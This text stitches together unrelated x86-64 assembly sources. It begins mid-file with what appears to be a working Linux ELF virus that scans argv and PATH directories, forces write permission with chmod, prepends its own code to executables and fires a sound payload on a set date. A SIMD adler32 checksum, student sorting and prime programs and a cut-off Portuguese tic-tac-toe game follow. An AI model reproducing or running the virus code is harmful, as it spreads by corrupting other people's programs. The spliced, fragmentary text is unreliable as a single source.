R_OK | W_OK + pop r15 +.argv_loop: + ; We could use argc, but we can also assume + ; that argv is terminated with a NULL. + mov rdi, qword [rbx] + test rdi, rdi + je .done + ; Check if we can infect the file. Don't bother + ; trying to tweak the permissions. + mov rsi, r15 + mov rax, r14 + syscall + ; access() returned nonzero -> we can't infect + test eax, eax + jne .skip_infect + ; Load the path to the executable and infect it. + mov rdi, qword [rbx] + call infect +.skip_infect: + ; Skip to the next pointer in the argv array. + add rbx, 8 + jmp .argv_loop +.done: + ret + +infect_selfdir: + ; Reserve some space on the stack. + sub rsp, 40 + ; Load the first buffer with PATH=. + lea rax, [rsp + 9] + mov dword [rax], 'PATH' + mov word [rax + 4], '=.' + mov byte [rax + 6], 0 + ; Write the buffer as the first entry and NULL-terminate the + ; artificial ARGP. + lea rdi, [rsp + 16] + mov qword [rdi], rax + and qword [rdi + 8], 0 + ; Infect. + call infect_path + add rsp, 40 + ret + +; Wants to be called with argp in rdi. +infect_path: + ; Reserve a (somewhat arbitrary) amount of stack space. + ; It needs to hold a few path buffers (3 buffers, 4096 bytes each) + sub rsp, 12456 + ; Query the current time stamp counter as a source of randomness. + ; rdtsc will set rdx and rax to the higher and lower bits of the time + ; stamp counter, so we put them together and store them in the RNG seed + ; variable. + rdtsc + shl rdx, 32 + or rdx, rax + mov qword [seed], rdx + ; Find "PATH=" in ARGP. +.path_find_loop: + ; NULL terminates argp, check for this. + mov rax, qword [rdi] + test rax, rax + je .infect_done + ; Load the first five bytes of the current string. + ; If any of them is NUL, we skip to the next string. + mov cl, byte [rax] + test cl, cl + je .path_loop_skip + mov dl, byte [rax + 1] + test dl, dl + je .path_loop_skip + mov bl, byte [rax + 2] + test bl, bl + je .path_loop_skip + mov sil, byte [rax + 3] + test sil, sil + je .path_loop_skip + mov r8b, byte [rax + 4] + test r8b, r8b + je .path_loop_skip + ; Check if the ASCII values are right. + cmp cl, 'P' + jne .path_loop_skip + cmp dl, 'A' + jne .path_loop_skip + cmp bl, 'T' + jne .path_loop_skip + cmp sil, 'H' + jne .path_loop_skip + cmp r8b, '=' + je .path_found +.path_loop_skip: + ; Go to the next pointer in the argp array. + add rdi, 8 + jmp .path_find_loop +.path_found: + add rax, 5 + ; Select the final path buffer. + lea r12, [rsp + 4256] + ; Load a few auxiliary constants. + push 3 + pop rbx + push sys_open + pop r8 +.path_loop: + ; Check if we've hit the end of the PATH variable. + mov cl, byte [rax] + test cl, cl + je .infect_done + ; Copy path until : or \0 is found. + xor r13d, r13d +.copy_path: + test cl, cl + je .attempt_scan + cmp cl, ':' + je .attempt_scan + mov byte [rsp + r13 + 160], cl + mov cl, byte [rax + r13 + 1] + inc r13 + jmp .copy_path +.attempt_scan: + ; NUL-terminate the path. + mov ecx, r13d + mov byte [rsp + rcx + 160], 0 + xor ecx, ecx + ; Check if we have to skip an extra colon. + cmp byte [rax + r13], ':' + sete cl + add rcx, rax + ; Decide whether we want to infect this directory. + ; Take a random number from a linear congruential generator + ; and divide it by three. The modulus of zero means "no". + imul rax, qword [seed], LCG_A + add rax, LCG_B + mov qword [seed], rax + xor edx, edx + div rbx + test rdx, rdx + je .next_path + ; O_RDONLY | O_DIRECTORY + mov esi, 0x10000 + lea rdi, [rsp + 160] + mov rax, r8 + ; Preserve rcx through the system call. + mov qword [rsp], rcx + syscall + mov rcx, qword [rsp] + ; Clever way to determine whether the number is negative. + bt eax, 31 + jb .next_path + ; Save the file descriptor. + mov qword [rsp + 8], rax + ; Copy the file descriptor elsewhere, because we are going to use + ; it now, and it would be a shame if a syscall clobbered it ;). + mov rbp, rax +.getdents_loop: + ; Load max path size. + mov edx, 4096 + ; Load the directory file descriptor. + mov rdi, rbp + ; Load the buffer address. + lea rsi, [rsp + 8352] + push sys_getdents + pop rax + syscall + ; Jump to some common error stub that will close the + ; directory descriptor in case of failure. + test eax, eax + je .getdents_err + ; Preserve the amount of entries somewhere. + ; eax is often trashed by system calls so we want to + ; avoid it being lost. + mov r14d, eax + xor eax, eax +.dir_loop: + ; Load the current entry number, directory entries buffer + ; and the random seed. + mov r15d, eax + lea rbx, [rsp + r15] + add rbx, 8352 + mov rax, qword [seed] +.discard_loop: + ; Done processing? + cmp r14, r15 + jbe .getdents_loop + ; Extract the type of the directory entry. + movzx ecx, word [rbx + 16] + mov dl, byte [rbx + rcx - 1] + ; Skip if not a regular file or a symlink. + and dl, -3 + cmp dl, 8 + jne .give_up + ; Invoke the LCG again. Skip the entry upfront if dividing by + ; four gives modulus 0, that is, last two binary digits of the + ; number are 0. + imul rax, rax, LCG_A + add rax, LCG_B + mov qword [seed], rax + test al, 3 + je .discard_loop + ; OK, first nul-terminate the final buffer with the filename + ; so that the `concat` function can work properly. Then append the + ; directory name to that empty final buffer. + mov byte [rsp + 4256], 0 + mov rdi, r12 + lea rsi, [rsp + 160] + call concat + ; We need to terminate the path with a slash only if it is not present + ; already. Check this. Use a dumb strlen-ish function. + mov rax, r12 +.len_loop: + cmp byte [rax], 0 + je .len_ok + inc rax + jmp .len_loop +.len_ok: + ; Slash? + cmp byte [rax - 1], '/' + je .has_slash + mov esi, pathsep + mov rdi, r12 + call concat +.has_slash: + ; Append the file name now. + lea rsi, [rbx + 18] + mov rdi, r12 + call concat + ; Check if we can access the file for reading and writing. + mov rdi, r12 + push 6 ; R_OK | W_OK + pop rsi + push sys_access + pop rax + syscall + mov rcx, rax + ; Decide whether we want to infect this file anyway. + ; Same LCG and division stuff, except this time with the + ; modulus of 10. + imul rax, qword [seed], LCG_A + add rax, LCG_B + mov qword [seed], rax + xor edx, edx + push 10 + pop rsi + div rsi + ; Proceed only if: + ; (1) the file is not accessible + ; (2) we want to infect it + ; Handle a special case here: try to add an owner + ; write permission bit to the file and see if this lets + ; us access it... :). Might protect against some + ; "overzealous" (removes write permissions on critical + ; executables to avoid problems) but not "overly paranoid" + ; (removes write permissions /and/ transfers ownership) users. + ; In that case we can do nothing but hope that we get root somehow. + test ecx, ecx + je .normal_path + test rdx, rdx + jne .normal_path + ; Stat the file. + mov rdi, r12 + lea rsi, [rsp + 16] + push sys_stat + pop rax + syscall + ; Set the owner write permission bit and call chmod. + mov esi, dword [rsp + 40] + or rsi, 128 + mov dword [rsp + 40], esi + mov rbp, r12 + push sys_chmod + pop r12 + mov rax, r12 + syscall + ; Try to access again? + mov rdi, rbp + push 6 ; R_OK | W_OK again. + pop rsi + push sys_access + pop rax + syscall + ; Still no? Restore the permissions. + test eax, eax + jne .restore_perms + ; Yes => do infect. + mov rdi, rbp + call infect +.restore_perms: + mov esi, dword [rsp + 40] + and esi, -129 ; Everything except the bit 7 + mov dword [rsp + 40], esi + mov rdi, rbp + mov rax, r12 + syscall + ; File still not accessible. Give up. + ; Load the directory descriptor. + mov rax, qword [rsp + 8] + mov r12, rbp + mov rbp, rax + jmp .give_up +.normal_path: + ; Check if we want to infect this file. + test rdx, rdx + jne .give_up + ; Do infect. + mov rdi, r12 + call infect +.give_up: + ; We end up here when it's time to skip to + ; the next directory entry. + movzx ecx, word [rbx + 16] + movzx eax, cx + add eax, r15d + jmp .dir_loop +.getdents_err: + ; We get here when it's time to close the + ; directory descriptor and move on. + mov rdi, rbp + push sys_close + pop rbx + mov rax, rbx + syscall + ; Load the sys_open constant again + push sys_open + pop r8 + mov rcx, qword [rsp] +.next_path: + ; Go to the next path to process + add rcx, r13 + mov rax, rcx + jmp .path_loop +.infect_done: + ; Balance the stack and yield. + add rsp, 12456 + ret + +concat: + ; Find the end of the first string. + cmp byte [rdi], 0 + lea rdi, [rdi + 1] + jne concat + ; Start appending characters in a loop. + push -1 + pop rax +.do_loop: + ; Nothing left in the source string. + mov cl, byte [rsi + rax + 1] + test cl, cl + je .done + mov byte [rdi + rax], cl + inc rax + jmp .do_loop +.done: + ; Null-terminate the string. + mov byte [rdi + rax], 0 + ret + +infect: + ; Preserve a bunch of registers that the caller function needs. + push r15 + push r14 + push rbx + ; Reserve enough space for the transaction buffer. + sub rsp, 200 + SIZE + ; Open the goat file w/ O_RDWR. + mov rbx, sys_open + mov rsi, rbx + mov rax, rbx + syscall + ; Check if the file was opened successfully. + bt eax, 31 + jb .cleanup + ; Read the ELF header. + mov r8d, eax + lea rsi, [rsp - 112] + ; Size of the ELF header. + mov rdx, 64 + mov rdi, r8 + ; sys_read = 0 + xor eax, eax + syscall + ; Check machine type (AMD64, code 62) + cmp word [rsi + 18], 62 + jne .elf_bad + ; ELF class (64-bit) + cmp byte [rsp - 108], 2 + jne .elf_bad + ; Check the 0x7f ELF magic. + cmp byte [rsp - 109], 'F' + jne .elf_bad + cmp byte [rsp - 110], 'L' + jne .elf_bad + cmp byte [rsp - 111], 'E' + jne .elf_bad + cmp byte [rsp - 112], 0x7F + jne .elf_bad + ; Rewind to the SENTINEL_LOC-th byte. We want to check + ; if this ELF file was already infected. + mov r9, sys_lseek + mov rsi, SENTINEL_LOC + mov rdi, r8 + xor edx, edx + mov rax, r9 + syscall + ; Read 12 bytes (length of "palaiologos\0") + lea rsi, [rsp - 128] + mov rdx, 12 + xor eax, eax + syscall + ; Check if the sentinel is present. + movq xmm0, qword [rsi] + movq rax, xmm0 + ; Check the first part. + mov rcx, 'palaiolo' + cmp rax, rcx + jne .elf_clean + ; Check the remaining bytes: gos\0 + cmp byte [rsp - 120], 'g' + jne .elf_clean + cmp byte [rsp - 119], 'o' + jne .elf_clean + cmp byte [rsp - 118], 's' + jne .elf_clean + cmp byte [rsp - 117], 0 + jne .elf_clean +.elf_bad: + ; Close ourselves and return. Already infected. + mov rax, 3 + mov rdi, r8 + syscall + jmp .cleanup +.elf_clean: + ; Open self. + mov edi, self + xor esi, esi + mov rax, rbx + syscall + ; Open a memfd with O_CLOEXEC. + mov r10d, eax + mov r14, 1 + mov edi, empty + mov eax, sys_memfd_create + mov rsi, r14 + syscall + ; Copy over the viral stub from ourselves to the memfd. + mov ebx, eax + lea r15, [rsp - 48] + mov edx, SIZE + mov rdi, r10 + mov rsi, r15 + xor eax, eax + syscall + mov edx, SIZE + mov rdi, rbx + mov rax, r14 + syscall + ; Seek to the beginning of the goat file (we want the ELf header back). + mov rdi, r8 + xor esi, esi + xor edx, edx + mov rax, r9 + syscall + ; Copy data from the goat file to the memfd in a loop. +.copy_goat_memfd: + mov edx, SIZE + mov rdi, r8 + mov rsi, r15 + xor eax, eax + syscall + test eax, eax + je .copy_goat_memfd_done + mov edx, eax + mov rdi, rbx + mov rsi, r15 + mov rax, r14 + syscall + jmp .copy_goat_memfd + ; Rewind the goat file and the memfd. +.copy_goat_memfd_done: + mov rdi, rbx + xor esi, esi + xor edx, edx + mov rax, r9 + syscall + mov rdi, r8 + xor esi, esi + xor edx, edx + mov rax, r9 + syscall + ; Overwrite the goat file with the memfd contents. + lea rsi, [rsp - 48] +.copy_memfd_goat: + mov edx, SIZE + mov rdi, rbx + xor eax, eax + syscall + test eax, eax + je .copy_memfd_goat_done + mov edx, eax + mov rdi, r8 + mov rax, r14 + syscall + jmp .copy_memfd_goat +.copy_memfd_goat_done: + ; Close goat, memfd, and self. + mov rdx, sys_close + mov rdi, rbx + mov rax, rdx + syscall + mov rdi, r8 + mov rax, rdx + syscall + mov rdi, r10 + mov rax, rdx + syscall +.cleanup: + ; Balance the stack and quit. + add rsp, 200 + SIZE + pop rbx + pop r14 + pop r15 + ret + +sys_time equ 201 + +birthday: + ; Ask for the current UNIX time. + mov eax, sys_time + xor edi, edi + syscall + ; Determine whether we are dealing with a + ; leap year. We want to obtain the divmod of + ; the UNIX time stamp and four years expressed in + ; seconds (1461 * seconds in a day) = (1461 * 24 * 60 * 60) + ; = 126230400 + mov ecx, eax + mov esi, 126230400 + xor edx, edx + div esi + imul rax, rax, -126230400 + add rax, rcx + ; Determine the correct year in the four year interval. + ; If the quotient result of divmod is less than a year, + ; just ignore the entire thing. + ; 31536000 is the amount of seconds in a year. + cmp rax, 31536000 + jl .year_ok + ; Check if we're in the 2nd year of the 4 year interval. + ; Easy to notice that this constant is the amount of seconds + ; in two years. + cmp rax, 63072000 + jb .sub_year + ; Same logic as above except three years. + ; There's a twist though: we need to account for a leap day. + ; The logic for leap days is way different... + cmp rax, 94694400 + jb .is_leap + ; Leap year: subtract 3 years worth of seconds and add a leap day. + sub rax, 94694400 + jmp .year_ok +.sub_year: + ; Subtract a year's worth of seconds. + sub rax, 31536000 +.year_ok: + ; Calculate days since 01/01. + mov ecx, 86400 + xor edx, edx + div rcx + cdqe + ; Load the running total of days in each month. + mov rcx, days +.determine_month: + push -1 + pop rdx +.month_loop: + ; Bump up the month until exceeded days since 01/01. + lea esi, [rdx + 2] + movsxd rsi, dword [rcx + 4 * rsi] + inc edx + cmp rax, rsi + jg .month_loop + ; Save the month value for later. + mov esi, edx + ; Load the day of month. + movsxd rcx, dword [rcx + 4 * rsi] + sub rax, rcx + ; Check if the day and month match. + cmp rax, 9 + jne .heck + cmp edx, 7 + jne .heck + ; Pick a random number and proceed only with 10% certainty... + imul rax, qword [rip + seed], LCG_A + add rax, LCG_B + mov qword [rip + seed], rax + push 10 + pop rcx + xor edx, edx + div rcx + test rdx, rdx + je proceed +.heck: + ret +.is_leap: + ; Compute day of year and load the leap days LUT. + sub eax, 63072000 + mov ecx, 86400 + xor edx, edx + div ecx + mov rcx, ldays + jmp .determine_month + +proceed: + ; Open the sound device. + mov rax, 2 + mov r8, 1 + mov edi, snddev + mov rsi, r8 + syscall + ; Play the "suspense" sound. + mov edi, eax + xor ebp, ebp + ; Load the place on the stack where the sample is saved. + lea rsi, [rsp - 4] + xor ebx, ebx +.susp_loop: + ; 58000 ticks. + cmp ebx, 58000 + je .susp_done + ; Generate the sample. + mov ecx, ebx + shr ecx, 13 + and cl, 27 + mov eax, 322376503 + shr eax, cl + and eax, 127 + imul eax, ebx + mov ecx, ebx + shr ecx, 4 + or ecx, ebp + or ecx, eax + ; Save and write. + mov dword [rsp - 4], ecx + mov rdx, r8 + mov rax, r8 + syscall + ; Loop again. + inc ebx + add ebp, 32 + jmp .susp_loop +.susp_done: + ; Purposefully waste some CPU cycles for delay. + mov eax, 100000 +.busy: + sub eax, 1 + jb .busydone + nop + jmp .busy +.busydone: + ; Roll a dice. 33% chance of playing the "doomy" sound. + imul rax, qword [seed], LCG_A + add rax, LCG_B + mov qword [seed], rax + xor ebp, ebp + mov r9, 3 + xor edx, edx + div r9 + test rdx, rdx + je .doomy + ; Generate the "good" samples! + mov r10d, 1 + mov ebx, 8 + mov ebp, 13 + lea rsi, [rsp - 12] + mov r14d, 12 + ; The song is procedurally generated in stages three stages: + ; stage 0, stage 1 and stage 2. +.good_main: + cmp r10d, 106000 + je .good_done + mov eax, ebp + mov ecx, ebx + cmp r10d, 35000 + jb .good0 + cmp r10d, 67499 + ja .good1 + lea ecx, [r10 + 8 * r10] + mov eax, ebp + jmp .good0 +.good1: + cmp r10d, 83999 + ja .good2 + lea ecx, [r10 + 8 * r10] + mov eax, r14d + jmp .good0 +.good2: + lea ecx, [8*r10] + cmp r10d, 98000 + mov eax, ebp + sbb eax, 0 +.good0: + mov edx, r10d + shr edx, 2 + imul eax, r10d + add eax, edx + mov edx, r10d + shr edx, 3 + or edx, ecx + mov ecx, r10d + shr ecx, 5 + or ecx, edx + or ecx, eax + ; Write the sample. + mov dword [rsp - 12], ecx + mov rdx, r8 + mov rax, r8 + syscall + inc r10d + add ebx, 8 + jmp .good_main +.good_done: + ; Close file descriptor. + mov rax, r9 + syscall + jmp .cleanup +.doomy: + ; "Doomy" track. + lea rsi, [rsp - 8] +.doomy_loop: + cmp ebp, 250000 + je .doomy_quit + mov eax, ebp + shr eax, 11 + mov ecx, ebp + shr ecx, 1 + or ecx, eax + imul eax, ecx, 430 + ; Write the sample. + mov dword [rsp - 8], eax + mov rdx, r8 + mov rax, r8 + syscall + add ebp, 5 + jmp .doomy_loop +.doomy_quit: + ; Exit with code 0. + mov rax, 60 + xor edi, edi + syscall +.cleanup: + ret + +format ELF64 executable +use64 + +entry _start + +; Compute x / 0xFFF1. Consider K = (2 ^ N) / 0xFFF1, for some value of N. +; Now, to compute X / 0xFFF1 is to compute X * K, and shift it N positions to the right. +; Finally, compute `x - trunc(edx = x / 0xFFF1) * 0xFFF1`, yielding the desired remainder. +; K = 0x80078071 used throughout the program has been devised from N=47, since +; N=32+M, where M is the smallest integer where: +; 0xFFF1 <= (2^(32 + M) mod 0xFFF1) + 2^M, or alternatively +; 0xFFF1 <= 0xFFF1 * floor(2^(M+32) / 0xFFF1) + 2^M + 2^(M+32). +macro mod0xFFF1 K,N,src,reg { + mov e#reg, src + imul r#reg, K + shr r#reg, N + imul e#reg, e#reg, 0xFFF1 + sub src, e#reg +} + +; Compute the adler32 checksum. +; Input: +; - EDI => initial checksum value. +; - RCX => input buffer +; - RDX => input size +adler32: + ; eax = high(edi), esi = low(edi) + mov eax, edi + shr eax, 16 + movzx esi, di + ; load the pointer to the end of the data + lea r10, [rcx + rdx] + ; the data needs to be processed byte-wise until desired alignment is reached. + ; if the input size is 0, terminate the algorithm as there is nothing to checksum. + ; The value of the initial checksum value will be glued back together and returned. + test rdx, rdx + je .terminate + ; Check if the lowest two bits of the input pointer are aligned to 16 bytes. + test cl, 15 + jne .unaligned +.aligned: + ; If we have reached this point, the data is aligned so we can process it using vector operations. + ; Compute the new end taking on the account the possibility that some of the data might have been processed already + ; and it will be processed afterwards. end -= (end - p) & 0x1F to adjust for the amount of bytes per iteration (32) + mov rdx, r10 + mov r8, r10 + sub rdx, rcx + and edx, 31 + sub r8, rdx + ; Not even one iteration of the vectorised algorithm is guaranteed. If the data isn't large enough to be processed + ; in a chunk (less than 32 bytes), skip to the bytewise checksumming part. + cmp rcx, r8 + je .process_remaining + ; Load a few constants that will be used throughout the algorithm to save a few CPU cycles during the loop. + ; The value of K for the mod0xFFF1 macro. + mov r9d, 0x80078071 + ; The initial vector values. + pxor xmm1, xmm1 + movdqu xmm8, [.V32] + movdqu xmm7, [.V24] + movdqu xmm6, [.V16] + movdqu xmm5, [.V8] +.chunk_loop: + ; Compute the chunk size. It's either the smaller of two values - the amount of data to process in total, or 4096 (chunk * 8). + mov rdx, r8 + sub rdx, rcx + mov edi, 4096 + cmp rdx, rdi + cmova rdx, rdi + ; Clear the vector registers. + ; XMM0 => sum of bytes + ; XMM13 => sum of low bytes + ; XMM4, XMM11, XMM10, XMM9 => 16-bit counters for byte sums. Each accumulates a + ; number and the dot product will need to be computed to add the resulting + ; high bytes + pxor xmm0, xmm0 + pxor xmm13, xmm13 + + pxor xmm4, xmm4 + pxor xmm11, xmm11 + pxor xmm10, xmm10 + pxor xmm9, xmm9 + ; Subtract chunk size modulo the amount of bytes per iteration (32). + mov rdi, rdx + mov rdx, rcx + and rdi, 0xFFFFFFFFFFFFFFE0 + ; Define the end of the chunk as the input pointer + chunk size. + add rcx, rdi + ; high += low * chunk_size + imul edi, esi + add edi, eax +.inner_chunk_loop: + ; Accumulate previous counters to current counters and load a new batch + ; of data using aligned moves. + movdqa xmm3, [rdx] + movdqa xmm2, [rdx + 16] + paddd xmm13, xmm0 + ; Use `PSADBW` to add the bytes horizontally with 8 bytes per sum. + ; Add the sums to XMM0. + movdqa xmm12, xmm3 + psadbw xmm12, xmm1 + paddd xmm12, xmm0 + + movdqa xmm0, xmm2 + psadbw xmm0, xmm1 + paddd xmm0, xmm12 + ; Accumulate the data into the additional counters too. + ; Unpack high and low parts and add them to the respective counter vector. + movdqa xmm12, xmm3 + punpckhbw xmm3, xmm1 + punpcklbw xmm12, xmm1 + paddw xmm11, xmm3 + paddw xmm4, xmm12 + + movdqa xmm3, xmm2 + punpckhbw xmm2, xmm1 + punpcklbw xmm3, xmm1 + paddw xmm9, xmm2 + paddw xmm10, xmm3 + ; Loop until the end of the chunk has been reached. + add rdx, 32 + cmp rcx, rdx + jne .inner_chunk_loop + ; Finish calculating the XMM13 and XMM0 counter. Update the values of high and low (respectively) checksum elements. + pshufd xmm3, xmm0, 0x31 + paddd xmm0, xmm3 + pshufd xmm3, xmm0, 0x2 + paddd xmm0, xmm3 + movd eax, xmm0 + add esi, eax + mod0xFFF1 r9, 47, esi, ax + + pslld xmm13, 5 + movdqa xmm2, xmm4 + pmaddwd xmm2, xmm8 + paddd xmm2, xmm13 + pmaddwd xmm11, xmm7 + paddd xmm2, xmm11 + pmaddwd xmm10, xmm6 + paddd xmm2, xmm10 + pmaddwd xmm9, xmm5 + paddd xmm2, xmm9 + + pshufd xmm0, xmm2, 0x31 + paddd xmm0, xmm2 + pshufd xmm2, xmm0, 0x2 + paddd xmm0, xmm2 + movd eax, xmm0 + add eax, edi + mod0xFFF1 r9, 47, eax, dx + + ; Loop while there is data left. + cmp r8, rcx + jne .chunk_loop +.process_remaining: + ; Check if the input pointer has reached the end already. + cmp r10, rcx + je .terminate +.process_bytewise: + ; The contents of this loop are mirrored in the bytewise checksumming part to get a chunk of aligned data. + movzx edx, BYTE [rcx] + inc rcx + add esi, edx + add eax, esi + cmp r10, rcx + jne .process_bytewise + ; The process of computing the remainder of the high and low parts by 0xFFF1. Explanation below. + mov edi, 0x80078071 + mod0xFFF1 rdi, 47, esi, dx + mod0xFFF1 rdi, 47, eax, dx +.terminate: + ; Glue together eax and esi (respectively higher and lower bits of the resulting checksum) and yield the result. + sal eax, 16 + or eax, esi + ret +.recheck_alignment: + ; Check lowest two bits of the input pointer to determine whether it's aligned to 16 bits. + test cl, 15 + je .now_aligned +.unaligned: + ; Process unaligned data. Perform byte-wise checksumming until alignment is reached. + ; low += *input++. + movzx edx, BYTE [rcx] + inc rcx + add esi, edx + ; high += low + add eax, esi + cmp r10, rcx + jne .recheck_alignment +.now_aligned: + ; Compute the remainder of the high and low parts of the checksum when dividing by 0xFFF1. + mov edi, 0x80078071 + mod0xFFF1 rdi, 47, esi, dx + mod0xFFF1 rdi, 47, eax, dx + ; The data is aligned now. + jmp .aligned + +.V32: dw 32, 31, 30, 29, 28, 27, 26, 25 +.V24: dw 24, 23, 22, 21, 20, 19, 18, 17 +.V16: dw 16, 15, 14, 13, 12, 11, 10, 9 +.V8: dw 8, 7, 6, 5, 4, 3, 2, 1 + +; stat structure buffer. +sb: times 144 db 0 + +; System interface on x64 Linux works as follows: +; eax - syscall_number +; Parameters: +; 1st 2nd 3rd 4th 5th 6th +; rdi rsi rdx r10 r8 r9 + +; The system call numbers (eax values) used by the driver code. +open equ 2 +mmap equ 9 +fstat equ 5 +exit equ 60 +write equ 1 + +; The entry point to test the checksum algorithm. +; The application takes a single CLI argument with the file to checksum. +_start: + ; Section 3.4.1 of the ABI document (Initial Stack and Register State) contains figure 3.9, + ; which is a table describing initial stack layout. According to the the layout, the top of the stack + ; is the argument count, followed by pointers to argument strings. As I am not interested in the argument + ; count and the first argument, I pop them off. The remaining element is the file name and it's saved in + ; rdi, which will be used for a syscall soon. + pop rdi + pop rdi + pop rdi + ; open($rdi, O_RDWR); O_RDWR = open = 2 + mov eax, open + mov esi, eax + syscall + ; Preserve the file descriptor over the fstat call. + push rax + ; fstat($eax, sb) to query the file size + mov esi, sb + mov rdi, rax + mov eax, fstat + syscall + ; mmap(0, *(uint64_t *) sb + 48, PROT_READ = 1, MAP_SHARED = 1, fd, 0) + ; Note: Offset 48 into the stat structure is the file size, but since FASM does not supply + ; POSIX headers, I had to perform this calculation myself. Check `man 2 lstat`. + pop r8 + xor r9d, r9d + xor edi, edi + mov eax, mmap + mov edx, 1 + mov r10d, edx + mov rsi, [sb + 48] + syscall + ; Compute the adler32 checksum. + mov rdx, rsi + mov rcx, rax + xor eax, eax + mov edi, 1 + call adler32 + ; Stringify the checksum to decimal. + ; XXX: This code could be modified to display the checksum in hexadecimal or as-is, as binary data. + ; Reserve a 16 byte buffer on the stack. + mov rbp, rsp + sub rbp, 16 + mov edi, 10 + mov esi, eax + mov rcx, 14 +.stringify_loop: + ; Load the input number to eax. + mov eax, esi + xor edx, edx + ; eax = eax / edi + ; edx = eax % edi + div edi + ; Add 48 (ASCII 0) to turn the remainder into a digit. + add edx, 48 + ; Store the digit in the output buffer. + mov BYTE [rbp + rcx], dl + ; Preserve the previous value and replace it with the new one. + mov edx, esi + mov esi, eax + ; Preserve the counter and decrement it. + mov rax, rcx + dec rcx + ; Loop if the previous value is > 9 (=> if there are more digits left). + cmp edx, 9 + ja .stringify_loop + ; Otherwise: print the value. + ; write(1, buf + rax, 16 - rax) + lea rsi, [rbp + rax] + xor edi, edi + inc edi + mov edx, 16 + sub edx, eax + mov eax, write + syscall + ; Quit the program. `ret` obviously won't work. + mov eax, exit + syscall + +main: +push RBP + +mov RAX, 0 +mov RCX, 0 +mov RBX, 0 + +INPUT_ARRAY: + cmp RCX, 5 + jz DONE + mov [cnt], RCX + mov RAX, 0 + mov RDI, fmt_in + mov RSI, a + call scanf + mov RAX, [a] + mov RCX, [cnt] + mov [array+RCX*8], RAX + mov [array2+RCX*8], RAX + add RBX, [a] + inc RCX + jmp INPUT_ARRAY + +DONE: + mov RAX, 0 + mov RCX, 0 + mov RBX, 0 + +OUTER_LOOP: + cmp RCX, 5 + jge END_LOOP + mov [cnt], RCX + mov RAX, [array+RCX*8] + +INNER_LOOP: + inc RCX + cmp RCX, 5 + jz OK + cmp RAX, [array+RCX*8] + jle INNER_LOOP + xchg RAX, [array+RCX*8] + jmp INNER_LOOP + +OK: + mov RCX, [cnt] + mov [array+RCX*8], RAX + inc RCX + jmp OUTER_LOOP + +END_LOOP: + mov RAX, 0 + mov RBX, 0 + mov RCX, 0 + mov RDI, fmt_out + call printf + mov RAX, 0 + mov RBX, 0 + mov RCX, 0 + +PRINT_ARRAY: + cmp RCX, 5 + jz END + mov RAX, [array+RCX*8] + inc RCX + mov [cnt], RCX + mov RDI, fmt + mov RSI, RAX + call printf + mov RCX, [cnt] + jmp PRINT_ARRAY + +END: + mov RAX, 0 + pop RBP +ret + + +main: +push RBP + +mov RAX, 0 +mov RSI, a +mov RDI, fmt_in +call scanf + +mov RAX, 0 +mov RSI, b +mov RDI, fmt_in +call scanf + +OUTER_LOOP: + mov RCX, [a] + cmp RCX, [b] + jg END_OUTER_LOOP + + mov RAX, 0 + mov RCX, 2 + mov RBX, 0 + + mov RAX , [a] + cmp RAX, 2 + je PRIME + cmp RAX, 1 + je PRIME + + WHILE: + mov RAX, [a] + mov RDX, 0 + mov RBX, RCX + idiv RBX + cmp RDX, 0 + jz NOT_PRIME + inc RCX + cmp RCX, [a] + jz PRIME + jmp WHILE + + PRIME: + mov RCX, [size] + mov RAX, [a] + mov [array + RCX*8], RAX + inc RCX + mov [size], RCX + mov RCX, [a] + inc RCX + mov [a], RCX + jmp OUTER_LOOP + + NOT_PRIME: + mov RCX, [a] + inc RCX + mov [a], RCX + jmp OUTER_LOOP + +END_OUTER_LOOP: + mov RAX, 0 + mov RBX, 0 + mov RCX, 0 + mov RDI, fmt_out2 + call printf + mov RAX, 0 + mov RBX, 0 + mov RCX, 0 + +PRINT_ARRAY: + cmp RCX, [size] + jz LAST + test RCX, 1 + jz INC_ODD + jmp INC_EVEN +DONE: + mov RAX, [array+RCX*8] + inc RCX + mov [cnt], RCX + mov RDI, fmt_out + mov RSI, RAX + call printf + mov RDI, spc + call printf + mov RCX, [cnt] + jmp PRINT_ARRAY + +INC_ODD: + mov RAX, [array+RCX*8] + add RAX, [odd_pos] + mov [odd_pos], RAX + jmp DONE + +INC_EVEN: + mov RAX, [array+RCX*8] + add RAX, [even_pos] + mov [even_pos], RAX + jmp DONE + +LAST: + mov RDI, new_line + call printf + mov RAX, [even_pos] + sub RAX, [odd_pos] + mov RDI, fmt_out3 + mov RSI, RAX + call printf + mov RDI, new_line + call printf + mov RAX, 0 + +mov RAX, 0 +pop RBP +ret + +section .bss + key resb 1 + garbage resb 1 ; trash from stdin (\n) + +section .data + new_line db 10 + nl_size equ $-new_line + + game_draw db "_|_|_", 10 + db "_|_|_", 10 + db "_|_|_", 10, 0 + gd_size equ $-game_draw + + win_flag db 0 + + player db "0", 0 + p_size equ $-player + + game_over_message db "FIM DE JOGO AMIGOS", 10, 0 + gom_size equ $-game_over_message + + game_start_message db "JOGO DA VELHA" + gsm_size equ $-game_start_message + + player_message db "JOGADOR ", 0 + pm_size equ $-player_message + + win_message db " GANHOU!", 0 + wm_size equ $-win_message + + type_message db "ENTRE COM UMA POSICAO NO TABULEIRO: ", 0 + tm_size equ $-type_message + + clear_screen_ASCII_escape db 27,"[H",27,"[2J" ; [H [2J + cs_size equ $-clear_screen_ASCII_escape + +section .text + global _start + +_start: +nop +main_loop: + call clear_screen + + mov rsi, game_start_message + mov rdx, gsm_size + call print + + mov rsi, new_line + mov rdx, nl_size + call print + + mov rsi, player_message + mov rdx, pm_size + call print + + mov rsi, player + mov rdx, p_size + call print + + mov rsi, new_line + mov rdx, nl_size + call print + + mov rsi, game_draw + mov rdx, gd_size + + call print + + mov rsi, new_line + mov rdx, nl_size + call print + + mov rsi, type_message + mov rdx, tm_size + call print + + .repeat_read: + call read_keyboard ; Vamos ler a posição que o usuário vai passar + + cmp rax, 0 + je .repeat_read + + mov al, [key] + sub al, 48 ; 48 equivale a "0" em ASCII, eu faço essa subtração porque eu quero converter ASCII para inteiro + + call update_draw + + call check + + cmp byte[win_flag], 1 + je game_over + + call change_player + + jmp main_loop + +change_player: + + xor byte[player], 1 ; Tipo um xor swap :) + + ret + +print: + mov rax, 1 + mov rdi, 1 + syscall + ret + +read_keyboard: + mov rax, 0 + mov rdi, 0 + mov rsi, key + mov rdx, 1 + syscall + + cmp byte[key], 0x0A + jz read_end + + mov rdi, 0 + mov rsi, garbage + mov rdx, 1 + + flush_loop: + mov rax, 0 + syscall + + cmp byte[garbage], 0x0A + jz read_end + jmp flush_loop + + read_end: + + ret + +clear_screen: + mov rsi, 